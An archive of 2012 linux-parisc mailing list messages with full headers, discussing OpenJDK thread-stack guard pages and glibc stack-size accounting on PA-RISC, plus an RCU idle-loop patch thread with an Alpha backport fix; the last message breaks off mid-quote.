X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Sep 2012 22:24:34.0043 (UTC) FILETIME=[E38E8CB0:01CD8ED9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4569
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4569>

On 9-Sep-12, at 4:23 PM, John David Anglin wrote:

> It seems to me this must be a kernel bug:

Nope, it's a problem with guard page allocation in openjdk.
It assumes stack grows down.

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Thread stack allocation
Date: Mon, 10 Sep 2012 11:13:51 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <504E03AF.2070204@systemhalted.org>
References: <BLU0-SMTP405E1823EA93DF4FBFC1797AD0@phx.gbl> <BLU0-SMTP91500D9B875298D4CD828597AD0@phx.gbl> <BLU0-SMTP297D308BBF8A72A121C16397AD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1347290042 7107 80.91.229.3 (10 Sep 2012 15:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Sep 2012 15:14:02 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 10 17:14:05 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TB5gV-00084p-Rh
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Sep 2012 17:14:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752945Ab2IJPN4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Sep 2012 11:13:56 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:36682 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751257Ab2IJPNz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Sep 2012 11:13:55 -0400
Original-Received: by iahk25 with SMTP id k25so1842751iah.19
        for <linux-parisc@vger.kernel.org>; Mon, 10 Sep 2012 08:13:55 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding
         :x-gm-message-state;
        bh=cv8RLqT6a6FnRWY48ctoZPFUk+UTwcxLvxWi0gA4yYk=;
        b=WGrx5fmZYHuWytW4K29hDXFZZ/181YK0Qam7Txs+TDdOuMAHykKYyCBm7XHd+aJXjA
         kX5KPihDjCoxP5hkStWqmtfIoHN6o65BgZaYiRD+U+gg3fxo4I3c8pzjsIalw93rihb/
         +wkis/Es3mP4HRxSgxo+gcohN/MoktOKUUs3Q80sszy0iiIANaP9EdfS4PyWNxGP3/x1
         XB0GL7VV/qzMVFgOZ3QZc/pmojslsZM2U0MaNyV9jkI/Lexrln4Ki1pVgw2Cj7xufVyv
         Y1LtXWrvIV+Xw32xqXVMoVuzWCHqRD5T1h+0jS2z1Dip0++sItwdVtQJ/0DfWy5GzUnh
         lDCg==
Original-Received: by 10.50.236.41 with SMTP id ur9mr2903027igc.7.1347290034973;
        Mon, 10 Sep 2012 08:13:54 -0700 (PDT)
Original-Received: from [192.168.2.16] (bas3-ottawa23-1128747836.dsl.bell.ca. [67.71.83.60])
        by mx.google.com with ESMTPS id n3sm19391474igm.4.2012.09.10.08.13.51
        (version=SSLv3 cipher=OTHER);
        Mon, 10 Sep 2012 08:13:51 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120824 Thunderbird/15.0
In-Reply-To: <BLU0-SMTP297D308BBF8A72A121C16397AD0@phx.gbl>
X-Gm-Message-State: ALoCoQlSeGETjPY4YWcZj5NPjaL3mCGD+YO1N4tmwuxbjmZ5Hh+Ctm7f6+YBDc6QEPGk4J4cU8Gq
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4570>

On 9/9/2012 6:24 PM, John David Anglin wrote:
> On 9-Sep-12, at 4:23 PM, John David Anglin wrote:
> 
>> It seems to me this must be a kernel bug:
> 
> Nope, it's a problem with guard page allocation in openjdk.
> It assumes stack grows down.

Yes, that's wrong :-)

If you allocate your own stacks then glibc can't setup guard
pages for you since it violates some POSIX constraints.

For avoidance of doubt you *can* get a thread with PTHREAD_STACK_MIN
as the stack size if:

(a) RLIMIT_STACK is a useful value e.g. != infinity

... but ....

(b) RLIMIT_STACK < PTHREAD_STACK_MIN

.... then ....

We allocate PTHREAD_STACK_MIN by default which might not be enough
space for what you need.

I'm actually working heavily on a BZ for glibc that would split up
the accounting of stack space and other incidentals to avoid grouping
them. For example if you had a lot of TLS variables they could actually
consume your stack and that's wrong.

http://sourceware.org/bugzilla/show_bug.cgi?id=11787

Cheers,
Carlos.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Thread stack allocation
Date: Mon, 10 Sep 2012 11:45:44 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <504E0B28.6010406@bell.net>
References: <BLU0-SMTP405E1823EA93DF4FBFC1797AD0@phx.gbl> <BLU0-SMTP91500D9B875298D4CD828597AD0@phx.gbl> <BLU0-SMTP297D308BBF8A72A121C16397AD0@phx.gbl> <504E03AF.2070204@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1347291949 25259 80.91.229.3 (10 Sep 2012 15:45:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Sep 2012 15:45:49 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 10 17:45:51 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TB6BL-0007ds-5y
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Sep 2012 17:45:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757814Ab2IJPpp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Sep 2012 11:45:45 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:38065 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1757706Ab2IJPpo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Sep 2012 11:45:44 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1TB6BD-0004Nt-32; Mon, 10 Sep 2012 11:45:44 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120824 Thunderbird/15.0
In-Reply-To: <504E03AF.2070204@systemhalted.org>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4571>

On 9/10/2012 11:13 AM, Carlos O'Donell wrote:
> On 9/9/2012 6:24 PM, John David Anglin wrote:
>> >On 9-Sep-12, at 4:23 PM, John David Anglin wrote:
>> >
>>> >>It seems to me this must be a kernel bug:
>> >
>> >Nope, it's a problem with guard page allocation in openjdk.
>> >It assumes stack grows down.
> Yes, that's wrong:-)
>
> If you allocate your own stacks then glibc can't setup guard
> pages for you since it violates some POSIX constraints.
I need to study the situation in more detail but what I found is openjdk
initially allocates a fairly large stack with pthread_attr_setstacksize,
then it mucks with this region setting up guard pages, etc.  This goes
seriously wrong on parisc and the initial thread is only left with a stack
which is 4096 bytes.

I disabled guard pages and the build went a lot further, but died again
due to what appears to be another stack related issue.  If this package
is to work again, it's going to need significant porting to fix the stack
handling.  I think there was a parisc patch at one time but I think it
has been removed...

If I understand correctly, we have on parisc a guard region followed
by TLS stuff at the top of stack.  I assume that the stack size allocated
with pthread_attr_setstacksize is fully available to the user.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Thread stack allocation
Date: Mon, 10 Sep 2012 15:02:01 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <504E3929.1010605@systemhalted.org>
References: <BLU0-SMTP405E1823EA93DF4FBFC1797AD0@phx.gbl> <BLU0-SMTP91500D9B875298D4CD828597AD0@phx.gbl> <BLU0-SMTP297D308BBF8A72A121C16397AD0@phx.gbl> <504E03AF.2070204@systemhalted.org> <504E0B28.6010406@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1347303730 3052 80.91.229.3 (10 Sep 2012 19:02:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Sep 2012 19:02:10 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 10 21:02:12 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TB9FK-0003m1-KB
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Sep 2012 21:02:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758105Ab2IJTCG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Sep 2012 15:02:06 -0400
Original-Received: from mail-ie0-f174.google.com ([209.85.223.174]:51066 "EHLO
	mail-ie0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754203Ab2IJTCF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Sep 2012 15:02:05 -0400
Original-Received: by ieje11 with SMTP id e11so3867623iej.19
        for <linux-parisc@vger.kernel.org>; Mon, 10 Sep 2012 12:02:04 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding
         :x-gm-message-state;
        bh=ifefJbzpSoHAva8x9pSiuyssvm53GlEheKFRX9qi2qg=;
        b=QL6Py8iSATgLpt2NLHJJbi0MPsdZy6grCEhLeTs3pvaHnFQeu8ZA0cHNh59iPbM5aK
         z0kmOLwDO8Ry7fCH2pnHiUfPOD0OXv7T9ULci+QrBN8VDMofSrYRPsdOsL/FTpbUZ1Bv
         CBTC8fjR756UhYQBzYaAKcLZxQWSptbJLo1SpqjICHX2MwtPhQzyloJqQbD1xn5Ydf8q
         AVPQn59iXZ+fS8aF6uPua6bkW635SEuD6Og/e8VfHv/yYkfI1mZsEVB6CIQpx/mCzNXc
         c3u8sc/PGyEk0UXqttl1EgU3SPSVBZt8DMSHHGVQW1Z5x7hI+EraFrjMPPIAvCcpuKlm
         jk/g==
Original-Received: by 10.50.189.134 with SMTP id gi6mr12112164igc.55.1347303724484;
        Mon, 10 Sep 2012 12:02:04 -0700 (PDT)
Original-Received: from [192.168.2.16] (bas3-ottawa23-1128747836.dsl.bell.ca. [67.71.83.60])
        by mx.google.com with ESMTPS id xv8sm12787666igb.9.2012.09.10.12.02.02
        (version=SSLv3 cipher=OTHER);
        Mon, 10 Sep 2012 12:02:02 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120824 Thunderbird/15.0
In-Reply-To: <504E0B28.6010406@bell.net>
X-Gm-Message-State: ALoCoQk5JXTynsQ19i3tNFjxEylUlvorc+wLPbdvUQEPqmYKMWowE7Nx98uvEH7jcdTiUTOKX96H
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4572>

On 9/10/2012 11:45 AM, John David Anglin wrote:
> On 9/10/2012 11:13 AM, Carlos O'Donell wrote:
>> On 9/9/2012 6:24 PM, John David Anglin wrote:
>>> >On 9-Sep-12, at 4:23 PM, John David Anglin wrote:
>>> >
>>>> >>It seems to me this must be a kernel bug:
>>> >
>>> >Nope, it's a problem with guard page allocation in openjdk.
>>> >It assumes stack grows down.
>> Yes, that's wrong:-)
>>
>> If you allocate your own stacks then glibc can't setup guard
>> pages for you since it violates some POSIX constraints.
> I need to study the situation in more detail but what I found is openjdk
> initially allocates a fairly large stack with pthread_attr_setstacksize,
> then it mucks with this region setting up guard pages, etc.  This goes
> seriously wrong on parisc and the initial thread is only left with a stack
> which is 4096 bytes.
> 
> I disabled guard pages and the build went a lot further, but died again
> due to what appears to be another stack related issue.  If this package
> is to work again, it's going to need significant porting to fix the stack
> handling.  I think there was a parisc patch at one time but I think it
> has been removed...
> 
> If I understand correctly, we have on parisc a guard region followed
> by TLS stuff at the top of stack.  I assume that the stack size allocated
> with pthread_attr_setstacksize is fully available to the user.

No. This is what the glibc bug is about and it's what I'm fixing right now.

No matter what you do glibc allocates static tls, guard pages, and several
other things *from* the stack size you set.

This is wrong for many reasons, and we're fixing stack size accounting
upstream. Until the fix is in, which would be ~2.17 timeframe this isn't
going to get better.

If you have a small-ish stack, with lots of static tls variables, then you
loose and need to manually allocate your own stack of the appropriate size
to hold everything you need (not that there is any API to figure that out)
and do it all manually.

After the fix goes in the size you request via pthread_attr_setstacksize
will be the real size you have access to use and proper stack analysis
tools will be useful again :-)

Cheers,
Carlos.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Mon, 10 Sep 2012 23:53:01 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20120910215244.GD21277@somewhere.redhat.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
 <20120825035047.GB3436@linux.vnet.ibm.com>
 <20120825131647.GA1994@somewhere>
 <20120825161806.GD3436@linux.vnet.ibm.com>
 <5039406F.9040604@orcon.net.nz>
 <20120826001233.GH3436@linux.vnet.ibm.com>
 <20120826092137.GA50543@kaini.schwarzvogel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1347313997 23527 80.91.229.3 (10 Sep 2012 21:53:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Sep 2012 21:53:17 +0000 (UTC)
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Michael Cree <mcree@orcon.net.nz>,
	Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Tu
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 10 23:53:15 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TBBus-00065c-OP
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Sep 2012 23:53:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753696Ab2IJVxL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Sep 2012 17:53:11 -0400
Original-Received: from mail-vc0-f174.google.com ([209.85.220.174]:37086 "EHLO
	mail-vc0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751460Ab2IJVxI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Sep 2012 17:53:08 -0400
Original-Received: by vcbfy27 with SMTP id fy27so2080061vcb.19
        for <multiple recipients>; Mon, 10 Sep 2012 14:53:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=pKLiyDpnErQkla0nMUx8aRpOih2bNXqclIwgi3khx9E=;
        b=Pt8uC/FyHmlmrgnMTrDJ6ozKLYP5ANKPHQ8YmnlYbeW96sgtXkbM/ZcL+WXzFTGz7d
         NNAlxUL4wsc5x4T++IyiNF8uR9l7LBXcJbjrwqxzAYawwbqw4WJyNnSqRClgMjHGSKJt
         1zHpIFr0/MnLXnW7XAwTVE8/CUuX0TssM6V9fcHszFQ4QlVV8y8Qzsh+ngu/yBmKWBCX
         ywc0IvBWipiOSoJLeR+Qw6LMHTdgTSVeyJB/9mevOh8Yplk0W9Xin242R7bVIVb/HOyR
         wVaETEyaxrY0sdgS/s2+tmhB9Wr15T6T3owOkLjqLXznOzeMcC0oj02VirCul5MVHvef
         VjtQ==
Original-Received: by 10.220.204.197 with SMTP id fn5mr21718187vcb.71.1347313987305;
        Mon, 10 Sep 2012 14:53:07 -0700 (PDT)
Original-Received: from localhost (37.20.196.77.rev.sfr.net. [77.196.20.37])
        by mx.google.com with ESMTPS id b6sm654015vea.2.2012.09.10.14.53.02
        (version=TLSv1/SSLv3 cipher=OTHER);
        Mon, 10 Sep 2012 14:53:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120826092137.GA50543@kaini.schwarzvogel.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4573 gmane.linux.kernel:1356248 gmane.linux.kernel.stable:30712 gmane.linux.ports.alpha:1896
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4573>

On Sun, Aug 26, 2012 at 11:21:37AM +0200, Tobias Klausmann wrote:
> Hi! 
> 
> On Sat, 25 Aug 2012, Paul E. McKenney wrote:
> > Both Alpha patches should apply as-is back to 3.3, and should also fix
> > the problem.  Could you please check this on the versions of interest?
> 
> I just now tried them on top of 3.3.8 from linux-stable.git.
> While they apply cleanly, I get a compile failure:
> 
>   CC      arch/alpha/kernel/process.o
> arch/alpha/kernel/process.c: In function 'cpu_idle':
> arch/alpha/kernel/process.c:64: error: implicit declaration of function 'schedule_preempt_disabled'
> make[1]: *** [arch/alpha/kernel/process.o] Error 1
> make: *** [arch/alpha/kernel] Error 2
> 
> AFAICT, schedule_preempt_disabled() was only introduced in 3.4
> and thus needs to be backported for 3.3.

Please try with this instead:

	preempt_enable_no_resched();
	schedule();
	preempt_disable();

Thanks.

> 
> Regards,
> Tobias
> 
> -- 
> panic("%s: CORRUPTED BTREE OR SOMETHING", __FUNCTION__);
>         linux-2.6.6/fs/xfs/xfs_bmap.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Mon, 10 Sep 2012 23:56:08 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20120910215541.GE21277@somewhere.redhat.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1347314202 24898 80.91.229.3 (10 Sep 2012 21:56:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Sep 2012 21:56:42 +0000 (UTC)
Cc: paulmck@linux.vnet.ibm.com, LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Michael Cree <mcree@orcon.net.
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 10 23:56:34 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1TBBy0-0008Qj-A9
	for glk-linux-kernel-3@plane.gmane.org; Mon, 10 Sep 2012 23:56:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756681Ab2IJV4Q (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 10 Sep 2012 17:56:16 -0400
Original-Received: from mail-vb0-f51.google.com ([209.85.212.51]:45951 "EHLO
	mail-vb0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751910Ab2IJV4P (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 10 Sep 2012 17:56:15 -0400
X-Greylist: delayed 1526 seconds by postgrey-1.27 at vger.kernel.org; Mon, 10 Sep 2012 17:56:14 EDT
Original-Received: by vbbfn1 with SMTP id fn1so2951870vbb.10
        for <multiple recipients>; Mon, 10 Sep 2012 14:56:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=515lbLxw8DD3nVrouaMWst/qXbdN5Bj6b4mHvdIRUXo=;
        b=Kfko4Pf2C30LUm0j30gLfHKnTMU8KWk/7mCAVLR4mNNwrsnOuF5gWHhVcKHrCPugWf
         iYxpgZDO2AGkJPrY5WQVxu72QuHmSubI1CM/8BQEjreRmf3jLpbuOSNEcJVa/F+21I4s
         X/trKnkG4xqUeJ5IKKEsReq4H/m447pd1xa4OqwTAqiuC24Ju0VSI0umZYwu43nkiUUI
         lIkom87i1QqN1fa+AZNOWbda3Ya8hpyugZRRYTFCp8Ll7z3yhJ3kqr3xuFaZdOUIUp1a
         S/xmzaX9mo35NlHJGCUtTOO67xuFrA/i+hRP75kM2ulZg8CBTgcTY78j6IqmineIjyGR
         cxOA==
Original-Received: by 10.220.116.9 with SMTP id k9mr14742591vcq.0.1347314174148;
        Mon, 10 Sep 2012 14:56:14 -0700 (PDT)
Original-Received: from localhost (37.20.196.77.rev.sfr.net. [77.196.20.37])
        by mx.google.com with ESMTPS id a13sm10311448vdu.9.2012.09.10.14.56.09
        (version=TLSv1/SSLv3 cipher=OTHER);
        Mon, 10 Sep 2012 14:56:13 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1356249 gmane.linux.kernel.stable:30713 gmane.linux.ports.parisc:4574 gmane.linux.ports.alpha:1897
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1356249>

On Sat, Aug 25, 2012 at 02:19:14AM +0100, Ben Hutchings wrote:
> On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
> > On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
> > > Hi,
> > > 
> > > Changes since v1:
> > > 
> > > - Fixed preempt handling in alpha idle loop
> > > - added ack from Geert
> > > - fixed stable email address, sorry :-/
> > > 
> > > This time I built tested everywhere but: h8300 (compiler internal error),
> > > and mn10300, parisc, score (cross compilers not available in
> > > ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
> > > 
> > > For testing, you can pull from:
> > > 
> > > git://github.com/fweisbec/linux-dynticks.git
> > > 	rcu/idle-fix-v2 
> > > 
> > > Thanks.
> > 
> > I have queued these on -rcu branch rcu/idle:
> > 
